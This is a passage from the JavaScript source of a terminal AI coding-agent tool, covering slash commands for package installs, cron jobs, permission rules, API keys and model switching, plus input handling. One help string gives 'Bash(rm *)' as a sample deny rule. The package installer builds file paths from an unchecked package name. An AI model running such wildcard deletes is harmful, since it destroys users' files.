              const pkg = { name: path.basename(cwd), version: "0.1.0", type: "agent", description: "", author: "", engine: engine, entrypoint: "main.md", tags: [] };
              fs.writeFileSync(pkgPath, JSON.stringify(pkg, null, 2));
              fs.writeFileSync(path.join(mpDir, "main.md"), "# " + path.basename(cwd) + "\n\nDescribe what this agent/skill does.\n\n## Prompt\n\n$ARGUMENTS\n");
              transcript.push({ role: "system", text: "marketplace package scaffolded:\n  " + green(".nexus/marketplace/package.json") + "  — edit name, description, tags\n  " + green(".nexus/marketplace/main.md") + "  — the prompt template\n  types: agent · skill · hook · pipeline\n  publish: share the .nexus/marketplace/ folder (npm, git, or copy)" });
            } catch (e) { transcript.push({ role: "system", text: "could not scaffold: " + e.message }); }
          }
        }
        else if (sub === "install" || sub === "add") {
          const name = argstr.split(/\s+/)[1];
          if (!name) transcript.push({ role: "system", text: "usage: /marketplace install <name|path|url>" });
          else {
            const src = path.resolve(cwd, name);
            if (fs.existsSync(path.join(src, "package.json"))) {
              try {
                const pkg = JSON.parse(fs.readFileSync(path.join(src, "package.json"), "utf8"));
                const dest = path.join(globalMp, pkg.name || path.basename(src));
                fs.mkdirSync(dest, { recursive: true });
                for (const f of fs.readdirSync(src)) { fs.copyFileSync(path.join(src, f), path.join(dest, f)); }
                const cmdDir = path.join(cwd, ".nexus", "commands");
                fs.mkdirSync(cmdDir, { recursive: true });
                const ep = path.join(dest, pkg.entrypoint || "main.md");
                if (fs.existsSync(ep)) { fs.copyFileSync(ep, path.join(cmdDir, (pkg.name || path.basename(src)) + ".md")); }
                transcript.push({ role: "system", text: green("installed ") + bold(pkg.name || name) + gray("  " + (pkg.type || "agent") + " · v" + (pkg.version || "?")) + "\n  → ~/.darknode/marketplace/" + (pkg.name || path.basename(src)) + "\n  → .nexus/commands/" + (pkg.name || path.basename(src)) + ".md" + gray(" (use as /" + (pkg.name || path.basename(src)) + ")") });
              } catch (e) { transcript.push({ role: "system", text: "install failed: " + e.message }); }
            } else transcript.push({ role: "system", text: "not found: " + src + "\n  point to a directory with a package.json, or use a git URL" });
          }
        }
        else if (sub === "list" || sub === "ls" || sub === "installed") {
          const pkgs = loadPkgs(globalMp);
          if (!pkgs.length) transcript.push({ role: "system", text: "no marketplace packages installed yet\n  /marketplace init  — create a publishable package from this project\n  /marketplace install <path>  — install from a local directory" });
          else transcript.push({ role: "system", text: bold("installed packages") + gray("  (" + pkgs.length + ")") + "\n" + pkgs.map((p) => "  " + cyan((p.name || "?").padEnd(20)) + gray((p.type || "agent").padEnd(10)) + gray("v" + (p.version || "?")) + (p.description ? gray("  " + p.description.slice(0, 40)) : "")).join("\n") });
        }
        else if (sub === "remove" || sub === "rm" || sub === "uninstall") {
          const name = argstr.split(/\s+/)[1];
          if (!name) transcript.push({ role: "system", text: "usage: /marketplace remove <name>" });
          else {
            const dest = path.join(globalMp, name);
            const cmdFile = path.join(cwd, ".nexus", "commands", name + ".md");
            let removed = false;
            try { if (fs.existsSync(dest)) { fs.rmSync(dest, { recursive: true }); removed = true; } } catch (_) {}
            try { if (fs.existsSync(cmdFile)) fs.unlinkSync(cmdFile); } catch (_) {}
            transcript.push({ role: "system", text: removed ? "removed " + name : "no package '" + name + "' installed" });
          }
        }
        else {
          transcript.push({ role: "system", text: bold("Nexus Marketplace") + gray("  — agents, skills, hooks & pipelines") + "\n\n  " + cyan("/marketplace list") + gray("          installed packages") + "\n  " + cyan("/marketplace install <path>") + gray("  install from directory/URL") + "\n  " + cyan("/marketplace remove <name>") + gray("   uninstall a package") + "\n  " + cyan("/marketplace init") + gray("          scaffold a publishable package from this project") + "\n\n  " + gray("packages live in ~/.darknode/marketplace/ and register as /commands") });
        }
      }
      else if (cmd === "/cron") {
        const cronFile = path.join(cwd, ".nexus", "cron.json");
        const loadCron = () => { try { return JSON.parse(fs.readFileSync(cronFile, "utf8")); } catch (_) { return []; } };
        const saveCron = (jobs) => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(cronFile, JSON.stringify(jobs, null, 2)); } catch (_) {} };
        const sub = (arg || "").toLowerCase();
        const cronMatch = (expr) => { try { const parts = expr.split(/\s+/); if (parts.length !== 5) return false; return parts.every((p) => /^[\d*,\/-]+$/.test(p)); } catch (_) { return false; } };
        if (sub === "add" || sub === "new") {
          const parts = argstr.split(/\s+/).slice(1);
          const quoted = argstr.match(/["']([^"']+)["']/);
          let cronExpr = "", goal = "";
          if (quoted) { cronExpr = quoted[1]; goal = argstr.slice(argstr.indexOf(quoted[0]) + quoted[0].length).trim(); }
          else if (parts.length >= 6) { cronExpr = parts.slice(0, 5).join(" "); goal = parts.slice(5).join(" "); }
          if (!cronExpr || !goal) transcript.push({ role: "system", text: "usage: /cron add \"<cron-expr>\" <goal>\n  e.g. /cron add \"0 9 * * *\" run the test suite and fix any failures\n  e.g. /cron add \"*/30 * * * *\" check git status and summarize changes" });
          else if (!cronMatch(cronExpr)) transcript.push({ role: "system", text: red("invalid cron expression: ") + cronExpr + gray("\n  format: min hour day month weekday (e.g. 0 9 * * * = daily at 9am)") });
          else {
            const jobs = loadCron();
            const id = "cron-" + Date.now().toString(36);
            jobs.push({ id, schedule: cronExpr, goal, engine, enabled: true, created: new Date().toISOString(), lastRun: null, runs: 0 });
            saveCron(jobs);
            transcript.push({ role: "system", text: green("scheduled ") + bold(id) + "\n  schedule  " + cyan(cronExpr) + "\n  goal      " + goal + "\n  engine    " + engine + gray("\n  saved to .nexus/cron.json — runs when Nexus is active") });
          }
        }
        else if (sub === "list" || sub === "ls" || !sub) {
          const jobs = loadCron();
          if (!jobs.length) transcript.push({ role: "system", text: "no scheduled jobs\n  /cron add \"<cron>\" <goal>  — schedule a recurring task\n  e.g. /cron add \"0 9 * * *\" run tests and report" });
          else transcript.push({ role: "system", text: bold("scheduled jobs") + gray("  (.nexus/cron.json)") + "\n" + jobs.map((j) => "  " + (j.enabled ? green("●") : gray("○")) + " " + cyan((j.id || "?").padEnd(16)) + gray(j.schedule.padEnd(16)) + (j.goal || "").slice(0, 40) + (j.lastRun ? gray("  last: " + new Date(j.lastRun).toLocaleString()) : gray("  never run")) + gray("  (" + (j.runs || 0) + " runs)")).join("\n") + "\n  " + gray("/cron add · /cron remove <id> · /cron enable/disable <id> · /cron run <id>") });
        }
        else if (sub === "remove" || sub === "rm" || sub === "delete") {
          const id = argstr.split(/\s+/)[1];
          if (!id) transcript.push({ role: "system", text: "usage: /cron remove <id>" });
          else { const jobs = loadCron().filter((j) => j.id !== id); saveCron(jobs); transcript.push({ role: "system", text: "removed " + id }); }
        }
        else if (sub === "enable" || sub === "disable") {
          const id = argstr.split(/\s+/)[1]; const en = sub === "enable";
          const jobs = loadCron(); const j = jobs.find((x) => x.id === id);
          if (!j) transcript.push({ role: "system", text: "no job '" + id + "'" });
          else { j.enabled = en; saveCron(jobs); transcript.push({ role: "system", text: (en ? green("enabled") : yellow("disabled")) + " " + id }); }
        }
        else if (sub === "run") {
          const id = argstr.split(/\s+/)[1]; const jobs = loadCron(); const j = jobs.find((x) => x.id === id);
          if (!j) transcript.push({ role: "system", text: id ? "no job '" + id + "'" : "usage: /cron run <id>" });
          else { j.lastRun = new Date().toISOString(); j.runs = (j.runs || 0) + 1; saveCron(jobs); transcript.push({ role: "system", text: "running " + bold(j.id) + ": " + j.goal }); submit(j.goal); return; }
        }
        else transcript.push({ role: "system", text: "usage: /cron add|list|remove|enable|disable|run" });
      }
      else if (cmd === "/restart") {
        try { saveSession(); } catch (_) {}
        transcript.push({ role: "system", text: "saving session and restarting…" }); render();
        setTimeout(() => {
          cleanup();
          const args = [process.argv[1], "nexus", "--resume"].concat(process.argv.slice(3));
          const cp = require("child_process");
          try { cp.spawn(process.execPath, args, { stdio: "inherit", cwd }); } catch (_) {}
          process.exit(0);
        }, 200);
      }
      else if (cmd === "/next") {
        if (!argstr) transcript.push({ role: "system", text: "usage: /next <prompt>  — queues a prompt to run right after the current turn finishes\n  queue: " + (nextQueue.length ? nextQueue.map((q, i) => (i + 1) + ". " + q.slice(0, 50)).join("\n  ") : "(empty)") });
        else { nextQueue.push(argstr); transcript.push({ role: "system", text: "queued (" + nextQueue.length + "): " + argstr.slice(0, 60) + (argstr.length > 60 ? "…" : "") }); }
      }
      else if (cmd === "/expand") expanded = !expanded;
      else if (cmd === "/permissions" || cmd === "/perms") {
        if ((argstr || "").trim() === "clear") { perms = { allow: [], deny: [] }; savePerms(); transcript.push({ role: "system", text: "cleared all permission rules." }); }
        else transcript.push({ role: "system", text: "permission rules " + gray("(.nexus/permissions.json)") + "\n  " + green("allow") + gray(" (auto-run, bypass guard): ") + (perms.allow.length ? perms.allow.join(", ") : gray("none")) + "\n  " + red("deny") + gray(" (block): ") + (perms.deny.length ? perms.deny.join(", ") : gray("none")) + "\n  " + gray("/allow <rule> · /deny <rule> · /permissions clear") + "\n  " + gray("rule = tool | tool:glob | Bash(glob) | *   e.g. /allow run_command:npm* · /deny Bash(rm *) · /allow read_file") });
        render();
      }
      else if (cmd === "/allow" || cmd === "/deny") {
        const rule = (argstr || "").trim();
        if (!rule) transcript.push({ role: "system", text: "usage: " + cmd + " <rule>   e.g. " + cmd + " run_command:npm*   ·   " + cmd + " Bash(git *)   ·   " + cmd + " write_file" });
        else { const list = cmd === "/allow" ? "allow" : "deny", other = cmd === "/allow" ? "deny" : "allow"; perms[other] = perms[other].filter((r) => r !== rule); if (!perms[list].includes(rule)) perms[list].push(rule); savePerms(); transcript.push({ role: "system", text: (cmd === "/allow" ? green("allow") : red("deny")) + ": " + rule + gray("  → .nexus/permissions.json") }); }
        render();
      }
      else if (cmd === "/branch" || cmd === "/branches") {
        const ps = (argstr || "").trim().split(/\s+/).filter(Boolean);
        const bdir = path.join(cwd, ".nexus", "branches");
        const bfile = (n) => path.join(bdir, String(n).replace(/[^\w.-]/g, "_") + ".json");
        const listB = () => { try { return fs.readdirSync(bdir).filter((f) => f.endsWith(".json")).map((f) => f.replace(/\.json$/, "")); } catch (_) { return []; } };
        const saveB = (n) => { try { fs.mkdirSync(bdir, { recursive: true }); fs.writeFileSync(bfile(n), JSON.stringify({ engine, model: sess.model, transcript, sess, oMsgs, ts: Date.now() })); return true; } catch (_) { return false; } };
        const loadB = (n) => { try { const s = JSON.parse(fs.readFileSync(bfile(n), "utf8")); transcript.length = 0; for (const b of s.transcript) transcript.push(b); if (s.sess) Object.assign(sess, s.sess); if (Array.isArray(s.oMsgs)) { oMsgs.length = 0; for (const m of s.oMsgs) oMsgs.push(m); } return true; } catch (_) { return false; } };
        if (!ps.length) { const bs = listB(); if (!bs.includes(curBranch)) bs.unshift(curBranch); transcript.push({ role: "system", text: "conversation branches:\n" + bs.map((b) => "  " + (b === curBranch ? cyan("● " + b) + gray("  (current)") : "  " + b)).join("\n") + "\n  " + gray("/branch new <name>   fork this conversation here") + "\n  " + gray("/branch <name>        switch (auto-saves the current branch first)") + "\n  " + gray("/branch delete <name>") }); }
        else if (ps[0] === "new" && ps[1]) { saveB(curBranch); curBranch = ps[1]; saveB(curBranch); transcript.push({ role: "system", text: "forked → branch " + cyan(curBranch) + gray(" (a copy from here — explore freely; /branch <other> to switch back)") }); }
        else if (ps[0] === "delete" && ps[1]) { if (ps[1] === curBranch) transcript.push({ role: "system", text: "can't delete the current branch — switch away first." }); else { try { fs.unlinkSync(bfile(ps[1])); transcript.push({ role: "system", text: "deleted branch " + ps[1] }); } catch (_) { transcript.push({ role: "system", text: "no branch '" + ps[1] + "'" }); } } }
        else { const target = ps[0]; if (target === curBranch) transcript.push({ role: "system", text: "already on branch " + curBranch }); else if (!fs.existsSync(bfile(target))) transcript.push({ role: "system", text: "no branch '" + target + "' — /branch new " + target + " to create it" }); else { saveB(curBranch); if (loadB(target)) { curBranch = target; cont = false; scroll = 0; transcript.push({ role: "system", text: "switched to branch " + cyan(target) + gray(" — history restored; the engine context resets for cloud engines") }); } else transcript.push({ role: "system", text: "could not load branch '" + target + "'" }); } }
        render();
      }
      else if (cmd === "/api") {
        const ps = (argstr || "").trim().split(/\s+/).filter(Boolean);
        if (!ps.length) {
          transcript.push({ role: "system", text: apiConfigured()
            ? "Any-model API is ON\n  base   " + API_BASE() + "\n  model  " + (sess.model && sess.model !== engine ? sess.model : gray("(none — /model <name>)")) + "\n  key    " + (process.env.DARKNODE_API_KEY ? green("set") : yellow("not set — /api key <k>")) + "\n  /api off to go back to local Ollama"
            : "Drive ANY model via an OpenAI-compatible API (OpenAI · OpenRouter · Groq · DeepSeek · Together · Mistral · LM Studio · vLLM · llama.cpp).\n  /api <base-url> [model]   e.g. /api https://openrouter.ai/api/v1 anthropic/claude-3.5-sonnet\n  /api key <your-key>       set the key for this session (or export DARKNODE_API_KEY)\n  /api off                  back to local Ollama\nCurrently: " + (engine === "ollama" ? "local Ollama" : engine) });
        } else if (ps[0] === "off") {
          delete process.env.DARKNODE_API_BASE; transcript.push({ role: "system", text: "API off — back to local Ollama." });
        } else if (ps[0] === "key") {
          if (ps[1]) { process.env.DARKNODE_API_KEY = ps[1]; transcript.push({ role: "system", text: "API key set for this session." }); }
          else transcript.push({ role: "system", text: "usage: /api key <your-key>" });
        } else {
          let url = ps[0]; if (!/^https?:\/\//i.test(url)) url = "https://" + url;
          process.env.DARKNODE_API_BASE = url; engine = "ollama"; sess.ctxWindow = CTXW.ollama || 32768;
          sess.model = ps[1] || "ollama"; // clear any stale cloud model so the API auto-picks (or asks)
          transcript.push({ role: "system", text: "Any-model API set → " + url + (ps[1] ? "  · model " + ps[1] : "  " + yellow("(set one with /model <name>)")) + (process.env.DARKNODE_API_KEY ? "" : "\n  " + yellow("no key yet — /api key <your-key> or export DARKNODE_API_KEY")) });
        }
        render();
      }
      else if (cmd === "/connect") {
        const arg = (argstr || "").trim();
        // set the Claude key inline:  /connect claude sk-ant-...
        if (/^claude\s+\S/i.test(arg)) { process.env.ANTHROPIC_API_KEY = arg.split(/\s+/)[1]; transcript.push({ role: "system", text: green("Claude API key set for this session.") }); }
        ollamaTags().then((locals) => {
        locals = locals || [];
        const opts = [];
        // switching AI starts a fresh conversation + resets the cost/context meters (like /engine)
        const reset = () => { sess.userModel = false; sess.inTok = 0; sess.outTok = 0; sess.cost = 0; sess.ctxUsed = 0; warned50 = false; cont = false; oMsgs.length = 1; };
        locals.forEach((m) => opts.push({ name: m, note: "local · free", paid: false, apply: () => { delete process.env.DARKNODE_API_BASE; engine = "ollama"; sess.model = m; sess.ctxWindow = CTXW.ollama || 32768; reset(); } }));
        if (hasAnthropic()) ["claude-3-5-sonnet-latest", "claude-3-5-haiku-latest", "claude-3-opus-latest"].forEach((m) => opts.push({ name: m, note: "Claude · API — BILLED to your Anthropic key", paid: true, apply: () => { delete process.env.DARKNODE_API_BASE; engine = "ollama"; sess.model = m; sess.ctxWindow = 200000; reset(); } }));
        if (API_BASE()) opts.push({ name: (sess.model && sess.model !== engine && !/^claude/i.test(sess.model) ? sess.model : "api-model"), note: API_BASE() + " · likely billed", paid: true, apply: () => { engine = "ollama"; if (!sess.model || /^claude/i.test(sess.model) || sess.model === engine) sess.model = ""; reset(); } });
        const selArg = /^claude\s+\S/i.test(arg) ? "claude" : arg;
        if (!selArg) {
          if (!opts.length) transcript.push({ role: "system", text: "No AIs connected yet — connect one:\n  local:  " + cyan("ollama pull gpt-oss:20b") + gray("   (then /connect)") + "\n  Claude: " + cyan("/connect claude <sk-ant-...>") + gray("   (or export ANTHROPIC_API_KEY)") + "\n  any:    " + cyan("/api <openai-compatible-url> [model]") });
          else transcript.push({ role: "system", text: bold("Connect an AI") + gray("   /connect <n|name>") + "\n" + opts.map((o, i) => "  " + cyan((i + 1) + ")") + " " + bold(o.name) + gray("   " + o.note)).join("\n") + "\n  " + gray("current: ") + green(sess.model || engine) });
        } else {
          let sel = /^\d+$/.test(selArg) ? opts[+selArg - 1] : opts.find((o) => o.name.toLowerCase().includes(selArg.toLowerCase()));
          if (!sel && selArg.toLowerCase() === "claude") sel = opts.find((o) => /^claude/.test(o.name));
          if (!sel) transcript.push({ role: "system", text: "no match for '" + selArg + "' — run " + cyan("/connect") + " to see what's available" });
          else { sel.apply(); transcript.push({ role: "system", text: "connected → " + green(sel.name) + gray("   (" + sel.note + ")") + (sel.paid ? "\n  " + yellow("⚠ PAID — billed to your API key, not the free local engine") : "") + (sel.name === "api-model" ? "\n  " + gray("set the model with /model <name>") : "") }); }
        }
        render();
        });
      }
      else if (cmd === "/engine") {
        if (!arg) transcript.push({ role: "system", text: "engines (● installed):\n" + ENGINE_ORDER.map((e) => "  " + (engineAvail(e) ? green("●") : gray("○")) + " " + e + gray("  " + ENGINES[e].label + (ENGINES[e].paid ? "" : " · free")) + (e === engine ? "  " + cyan("(current)") : "")).join("\n") + "\nswitch with /engine <name>" });
        else if (!ENGINES[arg]) transcript.push({ role: "system", text: "unknown engine '" + arg + "' — options: " + ENGINE_ORDER.join(", ") });
        else if (offline && ENGINES[arg].kind !== "local") transcript.push({ role: "system", text: "offline lock is ON — cloud engines are blocked. Turn it off with /offline first." });
        else if (!engineAvail(arg)) transcript.push({ role: "system", text: "'" + arg + "' (" + ENGINES[arg].label + ") isn't installed — install its CLI, then /engine " + arg });
        else { engine = arg; sess.model = arg; sess.userModel = false; sess.ctxWindow = CTXW[arg] || 200000; sess.inTok = 0; sess.outTok = 0; sess.cost = 0; sess.ctxUsed = 0; warned50 = false; cont = false; oMsgs.length = 1; transcript.push({ role: "system", text: "engine switched to " + arg + " (" + ENGINES[arg].label + ") — cost meter now tracks " + (PAID[arg] ? arg + " (billed)" : arg + " (local · free)") + "; fresh conversation" }); }
      }
      else if (documentedVerbs().has(cmd.slice(1)) && !NEXUS_NO_BRIDGE.has(cmd.slice(1))) {
        // Bridge: run any documented `darknode <verb>` as an in-Nexus /command, so
        // nothing (report, savings, changelog, compliance, scan, cheats, …) has to
        // be run outside Nexus. Runs the real CLI in a child (NO_COLOR, isolated,
        // non-blocking) and drops its output into the transcript.
        const verb = cmd.slice(1);
        const blk = { role: "system", text: gray("$ darknode " + verb + (argstr ? " " + argstr : "") + "  …") };
        transcript.push(blk); scroll = 0; render();
        try {
          const child = _cp.spawn(process.execPath, [__filename, verb].concat(argstr ? argstr.split(/\s+/).filter(Boolean) : []),
            { cwd, env: Object.assign({}, process.env, { NO_COLOR: "1", DARKNODE_IN_NEXUS: "1" }) });
          let buf = "";
          const cap = (b) => { buf += b; if (buf.length > 2e5) buf = buf.slice(-2e5); };
          child.stdout.on("data", cap); child.stderr.on("data", cap);
          child.on("close", (code) => { blk.text = (buf.trim() || "(no output)") + (code ? gray("\n[exit " + code + "]") : ""); render(); });
          child.on("error", (e) => { blk.text = "failed to run `darknode " + verb + "`: " + (e && e.message || e); render(); });
        } catch (e) { blk.text = "failed: " + (e && e.message || e); render(); }
      }
      else transcript.push({ role: "system", text: "unknown command '" + cmd + "' — try /help" });
    };
    // ---- input / keys ----
    const setMouse = (on) => { mouseOn = on; try { out.write(on ? ESC + "[?1000h" + ESC + "[?1006h" : ESC + "[?1000l" + ESC + "[?1006l"); } catch (_) {} };
    try { const st = readGlobal("state.json", {}) || {}; if (st.mouse === false) mouseOn = false; } catch (_) {} // restore mouse-capture preference
    out.write(ESC + "[?1049h" + (mouseOn ? ESC + "[?1000h" + ESC + "[?1006h" : "") + ESC + "[?2004h" + ESC + "[?25l" + ESC + "[2J");
    try { process.stdin.setRawMode(true); } catch (_) {}
    process.stdin.resume(); process.stdin.setEncoding("utf8");
    let loading = true;
    // Boot animation control: any key skips it; DARKNODE_FAST / NO_MOTION goes straight to the chat.
    let bootTimer = null, bootDone = false;
    const finishBoot = () => { if (bootDone) return; bootDone = true; if (bootTimer) { clearInterval(bootTimer); bootTimer = null; } loading = false; lastLines = null; out.write(ESC + "[2J"); if (autoResume) { try { const s = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "session.json"), "utf8")); transcript.length = 0; for (const b of s.transcript) transcript.push(b); if (s.sess) Object.assign(sess, s.sess); if (s.engine && ENGINES[s.engine]) engine = s.engine; cont = true; transcript.push({ role: "system", text: "restarted with latest code — session restored" }); } catch (_) {} autoResume = false; } render(); };
    const fastBoot = !!(process.env.DARKNODE_FAST || process.env.NO_MOTION);
    // auto-connect MCP servers (non-blocking): the workspace's .nexus/mcp.json PLUS the
    // no-key servers that ship bundled with Nexus (fetch, memory, sequential-thinking,
    // context7, time, git) so a fresh download already has them. A bundled server is
    // skipped silently if its runtime (npx/uvx) isn't installed, or if the workspace
    // defines its own server of the same name, or if DARKNODE_NO_DEFAULT_MCP is set.
    const connectMcp = async () => {
      const seen = new Set();
      const cfg = loadMcpConfig(cwd);
      if (cfg) for (const nm of Object.keys(cfg)) { seen.add(nm); const c = await mcpConnect(nm, cfg[nm], cwd); mcpServers.push(c); if (!loading) render(); }
      if (!process.env.DARKNODE_NO_DEFAULT_MCP && !offline) {
        const b = bundledSpecs();
        for (const nm of Object.keys(b)) { if (seen.has(nm) || !hasBin(b[nm].command)) continue; const c = await mcpConnect(nm, b[nm], cwd); c.bundled = true; mcpServers.push(c); if (!loading) render(); }
      }
    };
    connectMcp();
    // Auto-update, the way Claude Code does it: on launch, check for a newer Nexus in the
    // background (never blocking boot) and, unless told only to check, apply it silently, then
    // drop a one-line note into the transcript. Config in ~/.darknode/state.json:
    //   autoUpdate: "on" (default, auto-apply) | "check" (notify only) | "off"
    // Throttled to at most once every 4h, skipped under the offline lock. Toggle with /autoupdate.
    (function autoUpdateBg() {
      try {
        const st = readGlobal("state.json", {}) || {};
        const now = Date.now();
        if (!shouldCheck(st, now, offline)) return;
        const mode = autoUpdateMode(st);
        st.lastUpdateCheck = now; writeGlobal("state.json", st);
        const args = [__filename, "update", "--auto"]; if (mode === "check") args.push("--check");
        const child = _cp.spawn(process.execPath, args, { cwd: __dirname, env: Object.assign({}, process.env, { NO_COLOR: "1", DARKNODE_IN_NEXUS: "1" }) });
        let buf = ""; const cap = (b) => { buf += b; if (buf.length > 8192) buf = buf.slice(-8192); };
        child.stdout.on("data", cap); child.stderr.on("data", cap);
        child.on("error", () => {}); // git/npm missing etc. — stay quiet in the background
        child.on("close", () => { const t = buf.trim(); if (t) { transcript.push({ role: "system", text: (mode === "check" ? "update available:\n" : "auto-update:\n") + t }); if (!loading) render(); } });
      } catch (_) {}
    })();
    // warn once if this repo ships MCP servers / hooks but isn't trusted (they were NOT run)
    if (_untrustedRepoConfig) transcript.push({ role: "system", text: yellow("⚠ this workspace defines MCP servers and/or hooks that would run commands — not loaded because the repo isn't trusted. ") + "Run " + cyan("/trust") + " to enable them" + gray("  (or export DARKNODE_TRUST_REPO=1)") });
    refreshGit(); // populate the status-bar branch indicator
    let imgCounter = 0; // for [Image#N] display on pasted image paths
    let nextQueue = []; // /next queue — prompts to run after current turn
    process.stdin.on("data", (d) => { try {
      if (loading) { finishBoot(); return; }   // any key skips the intro
      let s = String(d);
      // ---- sanitize: strip bracketed-paste markers (ESC may be stripped by intermediary) ----
      const isPaste = /\x1b?\[200~/.test(s) || (s.length > 3 && /[\r\n]/.test(s) && !/^\x1b/.test(s));
      s = s.replace(/\x1b?\[200~/g, "").replace(/\x1b?\[201~/g, "");
      if (isPaste) s = s.replace(/\r\n?|\n/g, " ").replace(/\s+$/, "");
      // ---- sanitize: convert pasted image paths to [Image#N] ----
      s = s.replace(/'([^']+\.(png|jpe?g|gif|webp|bmp|svg))'/gi, () => { imgCounter++; return "[Image#" + imgCounter + "]"; });
      if (!s) return;
      if (s === "\x03") { if (busy && ctl && ctl.kill) { ctl.kill(); transcript.push({ role: "system", text: "interrupting current turn…" }); render(); return; } cleanup(); resolve(); return; } // ctrl+c: stop turn if running, else quit
      if (s === "\x1b[Z") { mode = (mode + 1) % MODES.length; render(); return; } // shift+tab
      if (s === "\x0f") { expanded = !expanded; render(); return; }      // ctrl+o
      if (s === "\x01") { curPos = 0; render(); return; }                // ctrl+a -> start of input
      if (s === "\x05") { curPos = input.length; render(); return; }     // ctrl+e -> end of input
      if (s === "\x17") { if (curPos > 0) { const before = input.slice(0, curPos); const wm = before.match(/(?:\S+\s*|\s+)$/); const del = wm ? wm[0].length : 1; input = input.slice(0, curPos - del) + input.slice(curPos); curPos -= del; } render(); return; } // ctrl+w -> delete word back
      if (s === "\x15") { input = input.slice(curPos); curPos = 0; render(); return; } // ctrl+u -> clear to start
      if (s === "\x1b[3~" || s === "[3~") { if (curPos < input.length) { input = input.slice(0, curPos) + input.slice(curPos + 1); } render(); return; } // Delete key (forward)
      if (s === "\x1b" && navOpen) { navOpen = false; render(); return; } // Esc closes the ⋯ status menu
      if (s === "\x1b" && argMatches().length) { const sp = input.indexOf(" "); if (sp > 0) { input = input.slice(0, sp) + " "; curPos = input.length; } menuSel = 0; render(); return; } // Esc dismisses arg dropdown
      // ---- scrollback (works during a turn too) ----
      const page = Math.max(1, rows() - 6);
      // Arrow keys: handle both with and without ESC prefix (some terminals strip it)
      const isUp = s === "\x1b[A" || s === "[A", isDown = s === "\x1b[B" || s === "[B";
      const isRight = s === "\x1b[C" || s === "[C", isLeft = s === "\x1b[D" || s === "[D";
      if (isUp || isDown || isLeft || isRight) {
        if (isUp) { const mm = slashMatches(); const am = mm.length ? [] : argMatches(); const cm = mm.length ? mm : am; if (cm.length) { menuSel = Math.max(0, menuSel - 1); render(); return; } if (history.length) { hIdx = Math.max(0, hIdx - 1); input = history[hIdx] || ""; curPos = input.length; render(); } return; }
        if (isDown) { const mm = slashMatches(); const am = mm.length ? [] : argMatches(); const cm = mm.length ? mm : am; if (cm.length) { menuSel = Math.min(cm.length - 1, menuSel + 1); render(); return; } if (history.length) { hIdx = Math.min(history.length, hIdx + 1); input = history[hIdx] || ""; curPos = input.length; render(); } return; }
        if (isLeft) { if (curPos > 0) { curPos--; const cc = input.charCodeAt(curPos); if (cc >= 0xDC00 && cc <= 0xDFFF && curPos > 0) curPos--; render(); } return; }
        if (isRight) { if (curPos < input.length) { const cc = input.charCodeAt(curPos); curPos += (cc >= 0xD800 && cc <= 0xDBFF) ? 2 : 1; if (curPos > input.length) curPos = input.length; render(); } return; }
      }
      if (s === "\x1b[5~" || s === "[5~") { const mm = slashMatches(); const am = mm.length ? [] : argMatches(); const cm = mm.length ? mm : am; if (cm.length) { menuSel = Math.max(0, menuSel - page); render(); return; } scroll += page; render(); return; }         // PageUp
      if (s === "\x1b[6~" || s === "[6~") { const mm = slashMatches(); const am = mm.length ? [] : argMatches(); const cm = mm.length ? mm : am; if (cm.length) { menuSel = Math.min(cm.length - 1, menuSel + page); render(); return; } scroll = Math.max(0, scroll - page); render(); return; } // PageDown
      if (s === "\x1b[F" || s === "\x1b[4~" || s === "\x1bOF" || s === "[F") { if (input.length) { curPos = input.length; } else { scroll = 0; } render(); return; } // End -> end of input / latest
      if (s === "\x1b[1~" || s === "\x1bOH" || s === "\x1b[H" || s === "[H") { if (input.length) { curPos = 0; } else { scroll += 100000; } render(); return; } // Home -> start of input / top
      if (s.charCodeAt(0) === 27 && s[1] === "[" && s[2] === "<") { const m = /\[<(\d+);(\d+);(\d+)([Mm])/.exec(s); if (m) { const btn = +m[1], mcol = +m[2], mrow = +m[3], press = m[4] === "M"; const mm = slashMatches(); const am = mm.length ? [] : argMatches(); const cm = mm.length ? mm : am; if (btn === 64) { if (cm.length) menuSel = Math.max(0, menuSel - 1); else scroll += 3; render(); } else if (btn === 65) { if (cm.length) menuSel = Math.min(cm.length - 1, menuSel + 1); else scroll = Math.max(0, scroll - 3); render(); } else if (btn === 0 && press) { const z = clickZones.find((z) => z.row === mrow && mcol >= z.c0 && mcol <= z.c1); if (z) { if (z.kind === "toggle") { navOpen = true; render(); } else if (z.kind === "close") { navOpen = false; render(); } else if (z.kind === "run") { navOpen = false; if (!busy) { input = ""; curPos = 0; menuSel = 0; scroll = 0; handleSlash(z.cmd); } render(); } } } } return; } // SGR mouse
      if (busy) { const clean = s.replace(/\x1b\[[0-9;]*[A-Za-z~]/g, "").replace(/\x1b[^[]/g, ""); for (const ch of clean) { if (ch === "\r" || ch === "\n") { const t = input.trim(); if (t) { nextQueue.push(t); input = ""; curPos = 0; transcript.push({ role: "system", text: "queued: " + t }); render(); } } else if (ch === "\x7f" || ch === "\b") { if (curPos > 0) { const before = input.slice(0, curPos); const im = before.match(/\[Image#\d+\]$/); const del = im ? im[0].length : 1; input = input.slice(0, curPos - del) + input.slice(curPos); curPos -= del; } render(); } else if (ch >= " ") { input = input.slice(0, curPos) + ch + input.slice(curPos); curPos += ch.length; render(); } } return; } // buffer + queue mid-turn
      if (s.charCodeAt(0) === 27) return;                                // other escapes
      for (const ch of s) {
        if (ch === "\t") { // Tab completes the highlighted slash command, arg completion, or @file path
          const mm = slashMatches(); if (mm.length) { input = (mm[menuSel] || mm[0])[0] + " "; curPos = input.length; menuSel = 0; refreshArgCache(); render(); return; }
          const am = argMatches(); if (am.length) { const sp = input.indexOf(" "); const cmd = input.slice(0, sp); input = cmd + " " + (am[menuSel] || am[0])[0] + " "; curPos = input.length; menuSel = 0; render(); return; }
          const at = input.match(/@([^\s]*)$/);
          if (at) { try { const pt = at[1]; const dir = pt.includes("/") ? pt.slice(0, pt.lastIndexOf("/") + 1) : ""; const bpart = pt.includes("/") ? pt.slice(pt.lastIndexOf("/") + 1) : pt; const entries = fs.readdirSync(path.resolve(cwd, dir || ".")).filter((e) => e.startsWith(bpart)).sort(); if (entries.length) { const hit = entries[0]; const isDir = fs.statSync(path.resolve(cwd, dir + hit)).isDirectory(); input = input.slice(0, at.index) + "@" + dir + hit + (isDir ? "/" : " "); curPos = input.length; } } catch (_) {} render(); }
          return;
        }
        if (ch === "\r" || ch === "\n") {
